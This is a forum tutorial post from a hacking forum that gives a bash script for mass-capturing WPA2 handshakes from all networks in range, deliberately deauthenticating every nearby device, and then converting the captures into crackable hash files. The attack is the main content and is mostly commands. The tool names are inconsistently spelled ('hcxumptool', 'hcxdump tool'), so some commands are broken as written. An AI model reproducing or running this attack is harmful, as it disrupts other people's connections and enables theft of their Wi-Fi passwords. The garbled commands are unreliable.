

Forum:[Hack Forums](#)

Thread: [{Tutorial} Grabbing Mass WPA2 Handshakes Using hcxumptool](#)

Pr0m3th3us - October 13, 2026, 5:55 pm

Grabbing Mass WPA2 Handshakes Using hcxumptool

After trying pretty much every tool and method out there (aircrack-ng (suite), bettercap, wifite, etc.), this hcxumptool script has been the most consistent for me. I am using an Alfa AWUS036A XML adapter with 2 Alfa MPA-M25 antennas, but the original antennas work fine also. This is a very aggressive attack so it will deauth all devices in range including your own while it is running. It literally attacks EVERYTHING.

Prerequisites

Linux, tested on Debian

hcxumptool installed

Code `sudo apt install hcxumptool` A WiFi adapter that supports monitor mode and packet sniffing, im using an Alfa AWUS036A XML

Make sure you check your NIC's name given by the OS. Mine was "wlx00c0cab72e58" so your going to have to find that in the script and change it to yours and your directories accordingly. You can see your NIC's name with this commands

Code `ip link show`

Also your drivers will prob be different so make sure you go over those and change it. To check your driver for your NIC use this command.

Code `ethtool -i wlx00c0cab72e58`

The Script

Code `#!/bin/bash`

`IFACE="wlx00c0cab72e58"`

`echo "[+] Resetting WiFi adapter..."`

`sudo pkill hcxumptool 2>/dev/null`

`sudo pkill wpa_supplicant 2>/dev/null`

`sudo ip link set $IFACE down`

`echo "[+] Reloading mt7921u driver..."`

`sudo modprobe -r mt7921u`

`sleep 5`

`sudo modprobe mt7921u`

`sleep 8`

```
echo "[+] Clearing rfkill..."
sudo rfkill unblock all
sleep 1
```

```
CAPTURE="capture_$(date +%Y%m%d_%H%M%S).pcapng"
echo
echo "[+] Starting hcxdump tool"
echo "[+] Saving to: $CAPTURE"
echo
```

```
sudo hcxdump tool \
-i $IFACE \
-w $CAPTURE \
--rds=1 \
-F
```

Check to make sure its hopping channels and not stuck on 1 channel.

```
Code watch -n 1 'iw dev wlx00c0cab72e58 info | grep channel'
```

Converting the Capture

After it has run as long as you want we need to convert the capture file to a .txt file so we can read all the juicy info for each network.

```
Code # Extract valid handshakes into the modern .hc22000 format
hcxpcapngtool -o hashes.hc22000 capture.pcapng
```

```
# View a clean list of the network names you caught
hcxhashtool -i hashes.hc22000 --info=stdout
```